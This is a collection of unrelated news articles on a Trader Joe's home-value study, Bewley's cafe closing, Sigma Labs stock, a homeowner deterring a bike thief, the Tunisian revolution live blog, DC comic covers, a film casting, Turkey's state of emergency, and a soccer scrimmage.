competitor.  Related Stories:
-Being located near a Trader Joe's or Whole Foods Market is a definite plus, but is one better for property values than the other?  A study released by RealtyTrac shows that much-loved specialty foods store Trader Joe’s might be doing more than saving you money — it could be making you money.  According to RealtyTrac, homeowners in the same ZIP code as Trader Joe’s stores see their home values increase an average of 40 percent. That’s 6 percent more than the home appreciation national average, 34 percent, which is the same as what being near a Whole Foods will net you. The only downside? Property taxes near Trader Joe's also tend to be higher.  Austin residents rejoiced when Trader Joe’s announced plans to come to town. (How did we ever survive without easy access to Speculoos cookie butter and olive oil popcorn?)  There are now three Trader Joe's locations in Austin — and three lucky ZIP codes that reap the benefits of cult-favorite products and higher home values. Trader Joe's has stores in 78746, 78759 and 78701 (its new downtown locale).  The study looked at 2.3 million homes and compared the average of current home values to the average of home values at the time the home was last purchased in 242 ZIP codes with at least one Trader Joe’s store. Devotees of cookie butter might argue that the higher property taxes are worth it.
-The iconic Bewley's Grafton Street Cafe is to close 'temporarily' until Autumn with the loss of 140 jobs.  The iconic Bewley's Grafton Street Cafe is to close 'temporarily' until Autumn with the loss of 140 jobs.  Iconic Bewley's Grafton Street Cafe to shut for six months with loss of 140 jobs  In a statement issued this morning, Bewley's said the move was necessary to secure the future of the renowned cafe which is "currently significantly loss making".  The company say their losses stand at €1.2m a year.  A substantial renovation project of the premises will take place during the closure, the operators said.  Such a move was necessary as the "operation needs to be simplified to create future sustainability in view of continuing rent burden", a statement for the company said.  Some 140 staff members will be made redundant.  When it reopens in the Autumn, some 70 staff will be able to retain their jobs.  Bewley's said they are committed to the future of its Grafton Street cafe, but said it is necessary to restructure and simplify the operation to return it to a "sustainable financial position".  The extensive renovation and refurbishment project will cost €1 million.  The cafe last underwent renovation in 2005.  According to the company, the cafe has huge operating costs and an annual rent of €1.5m "which is a legacy of the unsustainable Irish property bubble".  In 2012, a third party arbitrator established the rent should be at €728,000, but the higher rent remains, the company said.  The company said they have tried many different routes in bringing down the rent, pointing to legal court proceedings in the Supreme Court which ruled against Bewley's last July.  Even if the rent reduction was in place, with annual losses of €1.2m a year, the position is not sustainable, the company said.  The cafe has multiple floors in operation at present.  The company believes it will need to shut for approximately six months to complete the renovation project.  When it reopens, it will be with a "simplified focus" on the ground floor and basement.  "Bewley’s regrets that this proposed closure would as a result require proposals for a redundancy programme for the 140 staff at Bewley’s Grafton Street," the statement said.  "Bewley’s will enter into consultation with staff to explore ways in which some of the proposed redundancies might be avoided and will support them as much as possible during this process."  “It is deeply regrettable to Bewley’s that the proposed period of closure is likely to result in redundancies for our dedicated Café staff. We are also sorry to disrupt our very loyal customers during this period," Bewley's Chief Executive John Cahill said.  “We are planning this programme to sustain Bewley’s Café’s continuing presence on Grafton Street, and to create related jobs in the future.  "The Café must be brought to a sustainable financial position where it can achieve viability at a market rent.  “We are confident that this proposed development will ensure the sustainability of Bewley’s Grafton Street and the provision of future employment by the Café on its reopening later in 2015.”  Online Editors
-Since last April the stock of Sigma Labs Inc (OTCMKTS:SGLB, SGLB message board) has been largely going in only one direction – down. The situation got even worse during the last couple of months with the stock registering new 52-week lows almost daily. Yesterday the negative momentum picked up even more speed and SGLB crashed by more than 17% closing the session at $0.043. The 5.5 million shares that changed hands surpassed the 30-day average for the company by nearly 5 times. Compared to its high of around 18 cents so far the ticker has wiped 77% of its value.  The depressing performance can be attributed to the fact that in 2014 SGLB decided to move away from consulting and focus more on their product offering. The transition has resulted in significantly worse financial results. The latest quarterly report covers the period ending September 30, 2014, and contains the following:  $3.7 million cash  $3.8 million total current assets  $143 thousand total current liabilities  $92 445 thousand total revenue  $539 thousand net loss  As you can see the numbers are far better than what can be found in the balance sheet of the typical pennystock venture. Still, investors were far from pleased to see the drastic increase of SGLB’s net loss – for the nine month period during 2013 they reported a net loss of $504 thousand while for the same period in 2014 they incurred a net loss of $2.8 million.  Recently the company has been able to announce some positive news. They launched their PrintRite3D INSPECT quality assurance software and expected to start generating revenue from it during the fourth quarter of 2014. In fact, in a recent PR SGLB announced that on a preliminary basis they expect the revenue for the quarter to be $200 thousand.  In November Sigma received a contract from Honeywell Aerospace as part of a Defense Advanced Research Project Agency (DARPA) Phase II award. The contract is expected to continue until mid-2016 with a total value of $500 thousand. More recently, on January 15, SGLB were granted their first contract also worth around $500 thousand from GE Aviation. Before the end of the first quarter of 2015 SGLB’s second product - PrintRite3D® DEFORM, should be launched.  Will this be enough to stop the devastating slide of their stock though? So far the answer is far from positive. Investors should also keep in mind that as of November 12, 2014, SGLB had 618 million outstanding shares out of the 750 million authorized. On December 22 the S-3 registration statement was declared effective and now the company has the right to sell up to $100 million of its common stock, preferred stock, debt securities, warrants and units. The issuance of more shares could easily demand an increase of the authorized amount.  SGLB have a lot going for them but the risks around the company should not be underestimated. Do extensive due diligence and plan your trades carefully.
-A suspected thief was scared off from pinching a motorbike when the owner confronted him with a gun in shocking CCTV footage.  Peter Kim, from Philadelphia, Pennsylvania, was alerted to the drama on his security camera and immediately opened his front door to find a stranger sitting on his bike.  Trained in martial arts, Mr Kim grabbed his pistol and stood up to the man who made a run for it while apologizing.  But the homeowner thought twice before going after the suspect after realizing he was wearing his pink underwear and didn't want his neighbours to see.  Mr Kim said: 'My camera notifies me about some movement in the back lot. Took a look and realised it's not my cousin on my motorcycle.  'Grabbed my gun, put the clip in, and loaded a bullet into the chamber. I ran downstairs and checked through the peephole to make sure again and that's when I saw him still trying to steal my bike.  'With no hesitation I pulled the gun on him and asked him who he was but not in those words. I saw he was reacting so I went to load a bullet in the chamber and realised mid way I had already cocked the gun back when I grabbed it.  'But the thief thought I was ready to shoot which I was prepared to but did not intend to.  A suspected thief was scared off from taking a motorbike when the owner confronted him with a gun in shocking CCTV footage  Peter Kim was alerted to the drama on his security camera and immediately opened his front door to find a stranger sitting on his bike  'As I was reaching for the slide the thief ran off saying he was just looking which the video clearly shows he attempted to steal the bike twice.'  Mr Kim added: 'The first time he had a bag with him and scoped out the area and tried to move the bike.  'He then went home to drop off his bag and came back for a second attempt which was when I woke up.  Trained in martial arts, Mr Kim grabbed his pistol and stood up to the man on his bike who made a run for it while apologising  Mr Kim from Philadelphia, Pennsylvania said: 'My camera notifies me about some movement in the back lot. Took a look and realised it's not my cousin on my motorcycle'  'If I'd been dressed properly I would've gone round the back and forced the culprit to the floor as I'm trained in Mixed Martial Arts and know how to defend myself.'  He said: 'I have not seen the thief since the incident. Laws here in Pennsylvania only allow you to shoot if you feel you are in imminent danger and I didn't feel as if I was but if he comes back he may regret it.'
-7.48pm: As the Tunisian president Zine al-Abidine Ben Ali flees his country, we are bringing our live coverage to an end. Our correspondent in Tunis, Angelique Chrisafis, has just filed this excellent piece after spending a day on the streets. And here's our latest news story.  Here's a summary of the day's events.  • Tunisia's president, Zine al-Abidine Ben Ali, has fled the country after days of street riots forced him out. The prime minister, Mohamed Ghannouchi, has assumed power and promised to "respect the constitution and implement the political, economic and social reforms that have been announced".  • A state of emergency has been declared in the country. Twelve people were killed in overnight clashes between demonstrators and police. Tunis airport has been surrounded by the military and Tunisian airspace closed. Gunfire has been heard on the streets tonight.  • Our correspondent, Angelique Chrisafis, reports that French police are awaiting the arrival of Bin Ali's plane in Paris. The French president, Nicolas Sarkozy, said France – the former occupying power – recognises the "constitutional transition" in Tunisia.  • The UK Foreign Office is advising against travel to the country. A number of tour operators have suspended flights and are making plans to evacuate holidaymakers.  Thanks very much for all your comments and good night.  7.18pm: A big question now, which some of you have raised in the comments below, is the repercussions of Ben Ali's overthrow around the region.  This is what the Associated Press says in its latest dispatch from Tunis:  The shakeup was certain to have repercussions in the Arab world and beyond as a sign that even a leader as entrenched and powerful as Ben Ali could be brought down by massive public outrage.  Commenter @clunie mentions Egypt, where Hosni Mubarak leads an autocratic government that is unpopular among many sections of the population. Unrest has been put down brutally.  And in his Financial Times blog today, the paper's chief foreign affairs commentator Gideon Rachman draws a parallel with Egypt:  It is all strangely reminiscent of Egypt, where President Hosni Mubarak is now 82-years-old – and has not yet announced whether he will run for re-election later this year. Will his attitude be affected by developments in Tunisia?  He goes on:  The potential for unrest is not confined to North Africa. Saudi Arabia, the only Arab country that is a member of the G20, also fits the profile. King Abdullah is now in his eighties and is ailing. Despite its massive oil wealth, the country also suffers from high youth unemployment.  7.00pm: The opposition leader Najib Chebbi, one of Ben Ali's most outspoken critics, described the events as a "regime change". Reuters quoted him as saying to I-Tele TV in France:  This is a crucial moment. There is a change of regime under way. Now it's the succession. It must lead to profound reforms, to reform the law and let the people choose.  6.55pm: To @omarov and the pleas from others in the comments for more journalism from north Africa, our excellent Paris correspondent Angelique Chrisafis is in Tunis, has been on the streets today, and she is filing a report as we speak. I've just spoken to our foreign desk, who say Angelique will stay in Tunisia for the weekend at least.  6.46pm: The reports that Ben Ali had arrived in Paris seem pretty easily dismissed. Tunisair's shortest flight time is around two and half hours, and the reports that Ben Ali had left Tunis came only about an hour ago.  6.40pm: The White House has issued a statement saying the US believes the Tunisian people have the "right to choose their leaders" and will monitor the latest developments there closely.  6.31pm: Some more information on the new president. He is a long-term ally of the former president, having joined the cabinet when Ben Ali assumed power in 1987. Ben Ali appointed him prime minister in 1999.  Ghannouchi has had a high profile role during the unrest of the past few days, announcing the sacking of the interior minister earlier this week. Ghannouchi also gave interviews to the international media defending Tunisia's handling of the protests.  6.26pm: There are conflicting reports about Ben Ali's whereabouts. The office of the French president, Nicolas Sarkozy, has said it has "no information" that he had arrived in Paris. Reuters said:  Two officials at the French Foreign ministry said they did not know whether he had arrived in the country and were still checking.  6.11pm: Meanwhile, on the streets of Tunis, our correspondent Angelique Chrisafis says police are still cracking down on demonstrators.  Individual protestors still being dragged off by plain clothes police on bourguiba ave #sidibouzid  6.04pm: Our correspondent in Rome, John Hooper, reports that Italy's Adnkronos news agency says Ben Ali has arrived in Malta "under Libyan protection".  5.59pm: In his television address, prime minister Mohamed Ghannouchi said he had taken over from Ben Ali on an interim basis. This is what he said, according to Reuters:  I vow that I will respect the constitution and implement the political, economic and social reforms that have been announced ... in consultation with all political sides including political parties and civil society.  5.57pm: Al-Jazeera's reporter in Paris, Jacky Rowland, says it appears that the prime minister has led an "internal coup". This is the same manner by which Ben Ali came to power in 1987, overthrowing the sitting president, Habib Bourguiba.  5.47pm: The Tunisian prime minister, Mohammed Ghannouchi, says in a TV address that president Ben Ali is "temporarily unable to exercise his duties", according to Reuters. The prime minister says he is assuming control of the country, according to reports on Twitter from others who are watching the address on television.  5.36pm: The Doha-based news network Al-Jazeera is reporting on its website that president Zine al-Abidine Ben Ali has left the country and the army has taken control.  5.29pm: The position of the president, Zine al-Abidine Ben Ali, appears precarious. It is not clear whether the order to take control of the airport came at the instigation of the president or the military high command.  5.23pm: It appears there are big developments afoot in Tunis. AFP is reporting that the military has taken over the airport, and Reuters says state television has declared that a "major announcement" is to be made to the Tunisian people "soon".  Air France has confirmed that the airspace around Tunis has been closed, and it has suspended flights. (This is Matt Wells taking over from Paul Owen.)  5.00pm: Events in Tunisia are moving fast, so here is a summary of this evening's main developments:  • Tunisia's president, Zine al-Abidine Ben Ali, has fired his government and called early elections for six months' time, following days of rioting. A national unity government involving a key opposition figure is possible, foreign minister Kamel Morjane has said.  • A state of emergency has been declared in the country.  • Twelve people were killed in overnight clashes between demonstrators and police. There are reports Tunis airport has been surrounded by the military and Tunisian airspace closed.  • The UK Foreign Office is advising against travel to the country. A number of tour operators have suspended flights and are making plans to evacuate holidaymakers.  My colleague Angelique Chrisafis will be filing from Tunisia soon; you will be able to find her story here along with the rest of the Guardian's coverage of this situation.  4.54pm: Reuters news agency has just sent the following:  MILITARY SURROUNDING TUNIS AIRPORT - AIRPORT OFFICIAL  4.41pm: Jonathan Rugman of Channel 4 News has tweeted this:  Afp reporting Tunis airport and airspace closed by army. Jonathan Rugman  jrug  4.34pm: Zine al-Abidine Ben Ali has dominated political life in Tunisia and sidelined rivals since he seized power in 1987, declaring Habib Bourguiba, the country's independence leader, medically unfit to remain president. The Economist reports that Ben Ali then "turned Tunisia into a police state known for its efficiency. Occasional worries about authoritarian tendencies in more relaxed North African states such as Morocco were frequently referred to as 'Ben-Alisation'."  The magazine adds:  Mr Ben Ali has faced protests before, but never on this scale. For the first time since he came to power, the ubiquitous presidential portraits that adorn many buildings have been ripped down and burned, while protesters chant colourful insults aimed at Mr Ben Ali and his acquisitive wife, Leila Trabelsi.  4.30pm: More from Reuters on foreign minister Kamel Morjane's suggestion a national unity government could be formed. Asked about forming a coalition government that included opposition leaders such as Najib Chebbi, he said:  I think that is feasible and I think it would be entirely normal.  Chebbi is one of Ben Ali's most outspoken internal opponents and the man western diplomats view as the most credible opposition figure in the opposition. He said the president had done the right thing yesterday:  But what remains [to be seen] is how will this be carried out and I ask that a coalition government be created.  4.25pm: Reuters has news of the death toll so far from the protests:  Medical sources and a witness said 12 more people were killed in overnight clashes in the capital and the northeastern town of Ras Jebel. Before the latest deaths emerged, the official death toll in almost a month of violence was 23, while the Paris-based International Federation for Human Rights said it had a list of at least 66 people killed.  The report continues with an account of events in the capital today:  On Friday, state television flashed the announcement: "The president has decided to dismiss the government and to hold legislative elections within six months." It gave no details. But protests continued in the capital and other cities on Friday. Around 8,000 people rallied outside the interior ministry in central Tunis, chanting "Ben Ali, leave!" and "Ben Ali, assassin!" After police fired teargas and wielded their truncheons, crowds of youths retreated a little way from the building and started throwing stones at the police, who responded with more tear gas grenades. Reporters also heard gunfire nearby. For the Tunis protesters, Ben Ali's promise to quit and cut essential food prices was not enough. "We don't want bread or anything else, we just want him to leave," they chanted. "After that we will eat whatever we have to." The UGTT trade union confederation had called for a general strike, which analysts said would test of whether the president had managed to calm public anger with his speech.  4.22pm: My colleague Ian Black, the Guardian's Middle East editor, sends this video from Facebook.  4.20pm: Paul Owen here, taking over from Mark Tran.  A British holidaymaker who has returned from Tunisia has been telling BBC News about her experience of the protests: "It was not aimed at us. It was frightening but you felt safe in the hotels." She said a French journalist had been shot in the leg by the police.  The BBC is reporting a 5pm-7am curfew, with no gatherings of three people or more allowed. Unofficial reports are that five people have been killed today.  The BBC's correspondent in Tunisia says young people protesting will not be placated by promises of change in years to come: "they want change now."  4.14pm: State television reports that firearms will be used if orders from the security forces are not obeyed.  4.11pm: Tunisia has declared a state of emergency, reports the AFP news agency.  4.10pm: Holiday operator Thomas Cook is evacuating around 1,800 British and Irish tourists and 2,000 Germans from Tunisia, following advice from the Foreign Office not to travel to Tunisia unless it is essential.  4.00pm: Events have been moving fast in Tunisia and here is a summary of key developments today:  • Police have been firing tear gas and beating up protesters outside the interior ministry in Tunis.  • 12 people have been reported dead after yesterday's demonstrations.  • President Zine al-Abidine Ben Ali has dismissed his entire government and has said there will be early elections in six months.  • A unity government is possible, foreign minister Kamel Morjane has said.  3.52pm: Sam, a Tunisian who does not wish to give his full name, writes a powerful piece on Comment is free on the sense of liberation people feel after years of living under the absolute rule of Ben Ali:  And for the first time, we see the opportunity to rebel, to take revenge on the "royal" family who has taken everything, to overturn the established order that has accompanied our youth. An educated youth, which is tired and ready to sacrifice all the symbols of the former autocratic Tunisia with a new revolution: the Jasmin Revolution – the true one.  3.51pm: If you can read French, you can follow Le Monde's live blog of the crisis in Tunisia here.  3.44pm: My colleague Peter Walker has filed a news story on the situation. His story begins:  Tunisia's president has dismissed his entire government and is calling early legislative elections, his spokesman announced today, after days of bloody clashes between security forces and protesters. The state news agency said president Zine al-Abidine Ben Ali would call fresh legislative elections in six months. The news came after riot police fired teargas at a peaceful demonstration and gunshots were heard in central Tunis, where thousands of people had gathered to demand Ben Ali's immediate resignation.  3.42pm: Here is a link to follow live postings on Facebook about the situation from people on the Tunisian side. (Thanks to yaramo in the comments.)  3.41pm: The announcement from Ben Ali that elections would be held in six months is a big concession since last night when he said he would leave leave office at the end of his term in 2014. But will demonstrators be satisfied with that? Today they were demanding his immediate departure.  3.37pm: Warning: This is dramatic footage of a protester lying on the ground after apparently being shot by snipers. The video is dated yesterday.  It is reminiscent of the video of Neda Agha-Soltan during the protests in Iran.  3.33pm: My colleagues on the Guardian video desk have sent this video of Tunisians protesting against Zine al-Abidine Ben Ali, the president. To recap, they are calling on him to go immediately, despite his pledge not to seek re-election in 2014.  3.32pm: Mohamed Abdel Samad (theeproducer) tweets:  @Dima_Khatib my fear is the fate of the Animal Farm, get rid of 1 thief to replace him with 10 more" Mohamed Abdel Samad  theeproducer  3.22pm: The Tunisian state news agency is also reporting that Ben Ali is calling early legislative elections in six months.  It looks like Ben Ali is trying desperately trying to keep himself from being overwhelmed by the rush of events.  3.21pm: Amnesty International has called on the Tunisian authorities to release or charge two men arrested, after one of them gave media interviews about the protests.  Here is Amnesty's statement:  Hamma Hammami, spokesperson for the banned Tunisian Workers' Communist party (Parti Communiste des Ouvriers Tunisiens, PCOT) was arrested at his home in Tunis on 12 January. Around 20 members of the presidential security unit are reported to have detained him together with his colleague, Mohamed Mzem, a lawyer, and Mounia Obaid, a friend who was later released. Hamma Hammami's family believe he was arrested for speaking to journalists about the protests in the country.  3.20pm: The Tunisian state news agency says Ben Ali is dismissing the government amid rioting, AP reports.  3.06pm: Euronews has footage of protests from overnight. Some people turned out in support of Ben Ali after his address to the nation.  2.56pm: Here is an AP account of the latest clashes:  Tunisian police fired rounds of tear gas at thousands of protesters in the capital Friday after some climbed atop the roof of the interior ministry, a symbol of the iron-fisted government they want to oust. The demonstrators were marching through Tunis to demand the resignation of the country's autocratic leader, President Zine al-Abidine Ben Ali. Many shouted "Ben Ali, out!" and "Ben Ali, assassin!" Another poster read "We won't forget," a reference to the rioters killed, many by police bullets. Hundreds of police with shields and riot gear blocked the avenue Friday in front of the interior ministry, where over the years there have been reports of torture. The march was organised by Tunisia's only legal trade union, which also went ahead with a symbolic two-hour strike. Plainclothes policemen were seen kicking unarmed protesters and beating them with batons.  Reuters is reporting that 12 people were killed in overnight clashes in Tunis and the northeastern town of Ras Jebel, citing two medical sources and a witness. Ten of the victims were killed after clashes in the capital, two sources from Charles Nicolle hospital told Reuters.  2.51pm: It would be surprising if Arab leaders were not afraid of the Tunisian example spreading. Reuters is reporting on protests in Jordan:  Food price protests sweeping across North Africa and the Middle East reached Jordan on Friday, when hundreds of protesters chanted slogans against Prime Minister Samir al-Rifai in the southern city of Karak. The peaceful protest was held despite hastily announced government measures to curb commodity and fuel prices. Similar demonstrations were held in three other towns and cities across the country, witnesses said. "We are protesting the policies of the government - high prices and repeated taxation that made the Jordanian people revolt," Tawfiq al-Batoush, a former head of Karak municipality, told Reuters at the protest outside Karak's Al Omari mosque.  2.48pm: Things seem to have taken a serious turn for the worse. Angelique Chrisafis is tweeting:  Gunshots are now ringing around us and in the other sidestreets around interior ministry.  An earlier tweet from her:  Running battles amid extreme violence from police. Protestors being chased onto rooftops. This is turning very, very bad.  This is very bad news for Ben Ali who must have been hoping that his concessions announced yesterday would calm things down. Instead the protesters seem to have been emboldened.  2.42pm: Some tweeters are lumping Ben Ali together with Hosni Mubarak of Egypt, another long-time ruler in the Arab world. "Mubarak & Ben Ali united in repression. Let the Arab street rise up in unison against the stupid Arab regime," tweets Hisham_G.  2.29pm: Reuters says gunshots rang out as police fired teargas to disperse some 8,000 protesters outside the interior ministry in Tunis. The Associated Press says tear gas was fired after demonstrators climbed on to the roof of the building.  2.18pm: Here is an Audioboo featuring the Guardian's Angelique Chrisafis speaking to my colleague Peter Walker from outside the interior ministry in Tunis.  Thousands of demonstrators were chanting: "Bread, water, Ben Ali out."  2.08pm: A recap of what led us here. The man who set off the chain of events that has shattered Tunisia's carefully constructed facade of stability is Mohamed Bouazizi, a 26-year-old living in the provincial town of Sidi Bouzid, who had a university degree but no work. To earn some money he took to selling fruit and vegetables in the street without a licence. When the authorities stopped him and confiscated his produce, he was so angry that he set himself on fire and died. Writing about the episode last month, the Guardian's Brian Whitaker said Tunisia's crisis reminded him of the fall of the Romanian dictator, Nicolae Ceausescu.  So, what we are seeing, firstly, is the failure of a system constructed by the regime over many years to prevent people from organising, communicating and agitating. Secondly, we are seeing relatively large numbers of people casting off their fear of the regime. Despite the very real risk of arrest and torture, they are refusing to be intimidated. Finally, we are seeing the breakdown of a long-standing devil's compact where, in return for submitting to life under a dictatorship, people's economic and welfare needs are supposedly taken care of by the state.  2.00pm: A notable feature of this crisis has been the deafening silence from the political class in France, Tunisia's former colonial power and its main economic partner – a fact noted here by Le Monde. A north Africa expert I spoke to this week, Dr Claire Spencer, said France was probably working behind the scenes to put pressure on Ben Ali to make concessions. Now, perhaps sensing which way the political winds are blowing (not in his favour), the French are beginning to speak up. Reuters has this:  France on Friday urged Tunisian president Zine al-Abidine Ben Ali to deliver on promises that it called a step in the right direction and called on him to do his utmost to restore peace after deadly riots. "We urge an end to the violence and the Tunisian president's commitments on this front have been positively noted," foreign ministry spokesman Bernard Valero said of Ben Ali's promises to bow out as leader in 2014, allow free media and order police to stop shooting protestors. "The steps the president announced go in the right direction and we hope they will be implemented."  Spencer, from the Chatham House foreign affairs thinktank, made the point that the existence of a large educated and skilled population plus coherent demands from the unions showed that the opportunity for dialogue was there, should the government take it. The big question, though, is whether the regime can move fast enough to respond to demands for change. The evidence from today is that Ben Ali's concessions may be too little, too late. Tunisians want him out now, and not in three years' time.  1.28pm: Is this the first WikiLeaks revolution, asks Elizabeth Dickinson at Foreign Policy.  As in the recent so-called "Twitter revolutions" in Moldova and Iran, there was clearly lots wrong with Tunisia before Julian Assange ever got hold of the diplomatic cables. Rather, WikiLeaks acted as a catalyst: both a trigger and a tool for political outcry. Which is probably the best compliment one could give the whistleblower site.  Ian Black, our Middle East specialist, wrote about the WikiLeaks cable in question in December, quoting the US ambassador, Robert Godec:  "The problem is clear," wrote ambassador Robert Godec in July 2009, in a secret dispatch released by Beirut's al-Akhbar newspaper. "Tunisia has been ruled by the same president for 22 years. He has no successor. And, while President Ben Ali deserves credit for continuing many of the progressive policies of President Bourguiba, he and his regime have lost touch with the Tunisian people. They tolerate no advice or criticism, whether domestic or international. Increasingly, they rely on the police for control and focus on preserving power."  1.18pm: It is supposed to be a beacon of calm and stability in North Africa and the Arab world, but Tunisia has been shaken by protests that have claimed the lives of at least 23 people – human rights groups put the number at over 60.  The protests were sparked off last month after an unemployed graduate set himself on fire when police tried to stop him selling vegetables without a permit. He later died.  What started out as demonstrations against high unemployment have turned into the biggest challenge for President Zine al-Abidine Ben Ali, who has been in power for 23 years.  Thousands angered by corruption and a regime intolerent of dissent turned out in Tunis today to demand his immediate resignation, despite his pledges last night not to seek re-election in 2014. The rest of the Arab world is watching developments nervously amid fears of "contagion".  • Here is our latest story, from Angelique Chrisafis, who is in Tunis.  • Thomas Cook is flying back some 1,800 holiday makers from the country afte the Foreign Office advised against all but esseential travel there.
-Credit: John Romita Jr. (DC Comics)  Updated May 18, 2017: DC Comics has now released colored versions of Andy Kubert and John Romita Jr.'s Dark Days: The Forge #1 variants. So we have added these to the article, with the original pencils released back on May 9.  Original Story: The pencilled versions of two variant covers for June 14's Dark Days: The Forge #1 have been released. In these covers Andy Kubert and John Romita Jr., Aquaman and Superman join in on this Batman-centric event that will eventually culminate later in the year with Dark Nights: Metal.  Here is the full solicitation for the issue:  DARK DAYS: THE FORGE #1  Written by SCOTT SNYDER and JAMES TYNION IV • Art by JIM LEE, ANDY KUBERT, JOHN ROMITA JR. and others  Cover by JIM LEE and SCOTT WILLIAMS • Variant cover by ANDY KUBERT • Variant cover by JOHN ROMITA JR.  Retailers: This issue will ship with three covers. Please see the order form for details. Includes a code for a free digital download of this issue.  DARKNESS COMES TO THE DC UNIVERSE WITH THE MYSTERY OF THE FORGE! Aquaman, The Flash and more of DC’s pantheon of heroes suspect Batman of hiding a dark secret that could threaten the very existence of the multiverse! It’s an epic that will span generations—but how does it connect to the origins of one of DC’s most legendary heroes?  The great comics event of summer 2017 is about to begin courtesy of superstar writers Scott Snyder and James Tynion IV and illustrated by a master class of comics artists: Andy Kubert, Jim Lee and John Romita Jr.! You do not want to miss this one!  ONE-SHOT • On sale JUNE 14 • 40 pg, FC, card-stock covers, $4.99 US • RATED T
-Stephen Amell has been tapped to play Casey Jones in “Teenage Mutant Ninja Turtles 2” for Paramount and Platinum Dunes.  Megan Fox is set to return as April O’Neil. Will Arnett is also returning. David Green is directing the pic. Plot details and information on other returning cast members are still unknown.  A loner who becomes an ally of the turtles and a love interest for O’Neil, Jones is a fan favorite of the series going back to when Elias Koteas played him in the 1990 New Line pic.  Michael Bay is producing along with his Platinum Dunes partners Brad Fuller and Andrew Form. Josh Appelbaum and André Nemec are penning the script.  Amell tested with a half-dozen actors over the weekend, but it was his chemistry with Fox that led to the studio eventually giving the role to the star of CW’s “Arrow.” Paramount had no comment on the casting.  The “Turtles” franchise is one of Paramount’s top properties following its success last summer, when it earned $191 million domestically — so much so that Paramount dated the sequel for 2016 before even locking down a director or cast.
-Turkey’s state of emergency means temporary suspension of the European Convention on Human Rights, the deputy prime minister has said, adding this is expected to last for a month and a half. The state of emergency in Turkey follows a failed military coup.  LIVE UPDATES: #TurkeyPurge: Post-coup crackdown  "We want to end the state of emergency as soon as possible. We believe [it could end within] one to one and a half months. I do not need a second extension,” said Deputy PM Numan Kurtulmus, as cited by Turkish broadcaster NTV.  According to Kurtulmus, there were “structural and individual” intelligence failures during the coup attempt. He added that the government is planning to restructure the army.  As a result, the European Convention on Human Rights will be “temporarily suspended” due to the state of emergency, he added.  Turkish Justice Minister Bekir Bozdag later said the state of emergency will not negatively affect the economy or investments.  On Wednesday, President Recep Tayyip Erdogan announced a state of emergency for three months following a coup attempt. It took effect Thursday morning.  Read more  "The purpose of the state of emergency is to most effectively and swiftly take steps necessary to eliminate the threat to democracy in our country," Erdogan said, adding that EU has no right to criticize the decision.  Under the emergency measure, the Turkish president and his ministers are allowed to bypass the parliament in passing new laws. Rights and freedoms in the country may also be limited or suspended if the government decides to do so, the news agency explained.  German Foreign Minister Frank-Walter Steinmeier has urged Ankara to lift the state of emergency in the country as quickly as possible, Reuters reported.  "We continue to expect that Turkey will adhere to the rule of law and that it will lift the state of emergency after three months as planned. Everything else would exacerbate tensions inside Turkey and harm Turkey itself," he said.  Earlier on Thursday, the German FM told the media he did not have full confidence that the state of emergency was an appropriate response to the failed coup.  Steinmeier said the Turkish government should prosecute only those proven to be involved in illegal acts, but not their political opponents.  The military’s attempt to seize power in the country took place on July 15, when Erdogan was on holiday in the Turkish resort of Marmaris. Thousands of people took to the streets of Ankara and Istanbul. Erdogan said that 246 government supporters were killed. At least 24 coup plotters were also killed, officials said.  Tens of thousands have already been detained or lost their jobs following the failed coup, with some 60,000 people suspected of backing the coup attempt being investigated. The large-scale purge of state institutions has affected judiciary officials, civil servants, law enforcement and education workers.  Erdogan won’t miss the chance to use the coup to “strengthen his grip on Turkey,” Ali Rizk, a Middle East expert, told RT.  He warned that “there is going to be a big clampdown” which “is going to intensify” in the country.  “This could indeed transform Turkey from ‘a beacon of democracy’ into a police state. With these particular developments taking place, I do expect that Turkey will walk more and more on the way of an authoritarian police state,” Rizk said.
-Lane United lost its opening scrimmage of the 2014 season 3-1 to Corban University in a match played in ideal conditions in sunny Salem, Oregon on Saturday afternoon. Edgar Gomez’s composed finish off a Loren Hill cross in the 75th minute was a welcome consolation for a Reds side that had at times played evenly with Corban but found themselves three goals down after 55 minutes. Corban’s first two goals had been punched in off of set pieces and their third was the product of an inch-perfect long diagonal ball that left Lane United’s central defense completely exposed.  Some of these Lane United players have been training with each other in Eugene over the past week, but others have been unable to attend regularly and two of them, Jeevraj Rai and Gabe Hutchinson, had never met the coaching staff or any of their teammates in person before today. For many, this game represented a final round of open tryouts, as none of them besides Rolando Velazquez have been named to the full 2014 squad. The game inevitably began unevenly, and Corban were ahead after only five minutes when they scrambled a goal out of a 40-yard set piece that had been hoisted into the box.  They doubled their advantage at the end of the opening period (the match being played in three 30-minute periods to allow for lineup experimentation) when they won another free kick, this time on the left wing. The hard, inswinging delivery only required a touch off anyone and Loren Hill, the Lane United midfielder, was unfortunately the provider as the ball rifled off his back and into his own net.  By this point, Lane United had only mustered two relatively tame attempts at goal, from Hill and Velazquez respectively, although Velazquez had already shown a penchant for sneaking in behind Corban’s back line—the timing of his runs or the weight of the through balls never quite working out. He finally deserved a goal at the beginning of the second period, when he latched onto a long pass, brushed off the last defender and succeeded in lobbing the bouncing ball over the onrushing keeper 25 yards from goal. His effort had too much arc, though, and shot up over the crossbar after one bounce off the hard artificial turf.  Lane United settled into the game after that point and had a number of decent chances, including Jose Nunez glancing a header just wide off of a free kick, and Max Hawes doing well to corral a clearance at the top of the box and drag a shot wide on the half-volley. The third Corban goal, which came at the end of the second period, was their only strong chance of that passage. In the third period, the Reds were in control of the game, consistently pressuring Corban out of possession and on a couple of occasions passing it all the way out of the back to create chances up front. Gomez had two good shots and Hill one very powerful effort off his left foot that went only a little wide before Paul Beach hit the crossbar when he broke away from the Corban high line and found himself one-on-one with the keeper. The Reds’ efforts finally paid off when Gomez won possession 40 yards out, found Hill on the right and he slid a cross back in for Gomez to finish comfortably in the bottom corner.  The most stunning play of the game was yet to come, when Gomez attempted a chipped/curled shot from 25 yards that Corban’s goalkeeper did extremely well to save by sprawling and pushing it against his own bar. Raul Fletes also set up Ian Maloney with a cross similar to the one Gomez had scored from, but Maloney dragged his finish wide and to the left. But the late assault was just that—late—and a 3-3 draw would have been flattering given the ragged way the game began. Lane United’s small contingent of fans who made the drive north from Eugene could at least feel rewarded that they had gotten to see some of the team’s hopefuls finish the exhibition on a high note.  Late edit: Peter Bellerby, of NW Sports Pics, has graciously shared some of the photos that he took of Saturday’s action. Thank you, Peter, for your work!
